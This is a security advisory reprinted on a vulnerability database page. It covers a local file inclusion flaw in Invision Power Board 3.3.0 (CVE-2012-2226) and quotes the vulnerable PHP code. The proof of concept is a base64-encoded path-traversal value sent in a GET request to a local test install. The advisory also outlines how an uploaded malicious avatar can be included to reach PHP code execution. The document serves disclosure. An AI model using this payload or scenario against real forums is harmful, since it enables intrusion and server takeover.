| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| Invision Power Board 3.3.0 Local File Inclusion | 13 Apr 201200:00 | – | zdt | |
| CVE-2012-2226 | 10 Jan 202000:32 | – | circl | |
| CVE-2012-2226 | 9 Jan 202020:23 | – | cve | |
| CVE-2012-2226 | 9 Jan 202020:23 | – | cvelist | |
| Invision Power Board 3.3.0 - Local File Inclusion | 13 Apr 201200:00 | – | exploitdb | |
| Invision Power Board 3.3.0 - Local File Inclusion | 13 Apr 201200:00 | – | exploitpack | |
| CVE-2012-2226 | 9 Jan 202021:15 | – | nvd | |
| Invision Power Board 3.3.0 Local File Inclusion | 13 Apr 201200:00 | – | packetstorm | |
| Input validation | 9 Jan 202021:15 | – | prion | |
| [waraxe-2012-SA#086] - Local File Inclusion in Invision Power Board 3.3.0 | 23 Apr 201200:00 | – | securityvulns |
Local File Inclusion in "like.php" function "_unsubscribe"
Vulnerability Details:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Reason: using unsanitized user submitted data for file operations
Attack vector: user submitted GET parameter "key"
Preconditions:
1. attacker must be logged in as valid user
2. PHP must be < 5.3.4 for null-byte attacks to work
Result: remote file disclosure, php remote code execution
Source code snippet from vulnerable script "like.php":
-----------------[ source code start ]---------------------------------
protected function _unsubscribe()
{
/* Fetch data */
$key = trim( IPSText::base64_decode_urlSafe( $this->request['key'] ) );
list( $app, $area, $relId, $likeMemberId, $memberId, $email ) = explode( ';', $key );
/* Member? */
if ( ! $this->memberData['member_id'] )
{
$this->registry->output->showError( 'no_permission', 'pcgl-1' );
}
if ( ! $app || ! $area || ! $relId )
{
$this->registry->output->showError( 'no_permission', 'pcgl-1' );
}
if ( ( $memberId != $likeMemberId ) || ( $memberId != $this->memberData['member_id'] ) )
{
$this->registry->output->showError( 'no_permission', 'pcgl-2' );
}
if ( $email != $this->memberData['email'] )
{
$this->registry->output->showError( 'no_permission', 'pcgl-3' );
}
/* Think we're safe... */
$this->_like = classes_like::bootstrap( $app, $area );
-----------------[ source code end ]-----------------------------------
As seen above, user submitted parameter "key" is first base64 decoded and then
splitted to six variables. After multiple checks function "bootstrap()" is called,
using unvalidated user submitted data for arguments.
Source code snippet from vulnerable script "composite.php":
-----------------[ source code start ]---------------------------------
static public function bootstrap( $app=null, $area=null )
{
..
if( $area != 'default' )
{
$_file = IPSLib::getAppDir( $app ) . '/extensions/like/' . $area . '.php';
..
}
..
if ( ! is_file( $_file ) )
{
..
throw new Exception( "No like class available for $app - $area" );
..
}
..
$classToLoad = IPSLib::loadLibrary( $_file, $_class, $app );
-----------------[ source code end ]-----------------------------------
We can see, that variable "$_file" is composed using unvalidated argument "area".
Next there is check for file existence and in case of success next function,
"loadLibrary", is called, using unvalidated argument "$_file".
Source code snippet from vulnerable script "core.php":
-----------------[ source code start ]---------------------------------
static public function loadLibrary( $filePath, $className, $app='core' )
{
/* Get the class */
if ( $filePath != '' )
{
require_once( $filePath );/*noLibHook*/
}
-----------------[ source code end ]-----------------------------------
As seen above, "require_once" function is used with unvalidated argument.
Test: we need to construct specific base64 encoded payload.
First, semicolon-separated string:
forums;/../../test;1;1;1;[email protected]
Email address and other components must be valid for successful test.
After base64 encoding:
Zm9ydW1zOy8uLi8uLi90ZXN0OzE7MTsxO2NvbWUyd2FyYXhlQHlhaG9vLmNvbQ
Now let's log in as valid user and then issue GET request:
http://localhost/ipb330/index.php?app=core&module=global&section=like
&do=unsubscribe&key=Zm9ydW1zOy8uLi8uLi90ZXN0OzE7MTsxO2NvbWUyd2FyYXhlQHlhaG9vLmNvbQ
Result:
Fatal error: Uncaught exception 'Exception' with message 'No like class available
for forums - /../../test' in C:\apache_www\ipb330\admin\sources\classes\like\composite.php:333
Stack trace: #0 C:\apache_www\ipb330\admin\applications\core\modules_public\global\like.php(131):
classes_like::bootstrap('forums', '/../../test')
#1 C:\apache_www\ipb330\admin\applications\core\modules_public\global\like.php(44):
public_core_global_like->_unsubscribe()
#2 C:\apache_www\ipb330\admin\sources\base\ipsController.php(306):
public_core_global_like->doExecute(Object(ipsRegistry)) #3
C:\apache_www\ipb330\admin\sources\base\ipsController.php(120): ipsCommand->execute(Object(ipsRegistry))
#4 C:\apache_www\ipb330\admin\sources\base\ipsController.php(65): ipsController->handleRequest()
#5 C:\apache_www\ipb330\index.php(26): ipsController::run()
#6 {main} thrown in C:\apache_www\ipb330\admin\sources\classes\like\composite.php on line 333
Potential attack scenario:
1. Attacker registers to target forum and logs in as valid user
2. Attacker uploads avatar picture with malicious php code to target server
3. Attacker issues carefully crafted GET or POST request and as result gets php level access
There are many other ways to exploit LFI (Local File Inclusion) vulnerabilities,
for example by using procfs ("proc/self/environ") on *nix platforms.
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation